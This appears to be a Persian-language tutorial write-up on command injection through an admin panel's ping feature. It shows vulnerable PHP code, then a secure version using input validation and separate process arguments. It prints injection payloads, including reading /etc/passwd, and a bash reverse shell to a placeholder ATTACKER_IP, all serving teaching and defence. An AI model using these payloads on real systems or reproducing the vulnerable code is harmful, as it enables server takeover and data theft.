‹ بازگشت به کتابخانه‌ی رایت‌آپ‌ها
Command Injection شدت: بحرانی

Command Injection در ابزار «پینگ سرور» پنل ادمین از طریق بک‌تیک/سمی‌کالن

یک فیچر دیباگ که آدرس وارد شده را با exec به ابزار ping سیستم‌عامل می‌فرستد، به مهاجم اجازه می‌دهد دستور دلخواه روی سرور اجرا کند.

نویسنده: تیم PentesterHub

خیلی از پنل‌های ادمین یک ابزار کوچک «تست اتصال/پینگ» دارند که مستقیم به دستور سیستم‌عامل متکی است:

// AdminController.php — نسخه‌ی آسیب‌پذیر
public function ping(Request $request)
{
    $host = $request->input('host');
    $output = shell_exec("ping -c 4 " . $host);
    return response($output);
}

شناسایی

استفاده‌ی عادی: host=8.8.8.8 → خروجی ping طبیعی. تست اولیه برای command injection همیشه یک جداکننده‌ی شل است:

host=8.8.8.8; whoami
host=8.8.8.8 && id
host=`id`
host=8.8.8.8 | cat /etc/passwd

اگر خروجی whoami یا محتوای /etc/passwd در پاسخ دیده شد، یعنی دستور تزریقی واقعاً روی سرور اجرا شده — نه فقط به‌عنوان بخشی از آرگومان ping.

تبدیل به دسترسی کامل (reverse shell)

host=8.8.8.8; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

با این payload، سرور یک اتصال معکوس به ماشین مهاجم باز می‌کند و عملاً shell کامل روی سرور قربانی در اختیار مهاجم قرار می‌گیرد — از یک فیچر «فقط پینگ».

راه‌حل

قانون طلایی: هیچ‌وقت ورودی کاربر را مستقیم وارد یک shell command نکنید. اگر واقعاً نیاز به اجرای ابزار سیستمی هست، از آرگومان‌های جدا (نه رشته‌ی ترکیبی شل) و validation سخت‌گیرانه استفاده کنید:

// نسخه‌ی امن
public function ping(Request $request)
{
    $request->validate([
        'host' => ['required', 'ip'],   // فقط یک IP معتبر قبول می‌شود، نه رشته‌ی آزاد
    ]);

    $process = new Symfony\Component\Process\Process(['ping', '-c', '4', $request->input('host')]);
    $process->run();
    return response($process->getOutput());
}

نکته‌ی کلیدی: استفاده از Process با آرگومان‌های جدا (آرایه)، نه رشته‌ی تک‌پارچه، یعنی shell اصلاً درگیر parse کردن ورودی کاربر نمی‌شود.

تمرین عملی در آزمایشگاه‌های Command Injection ›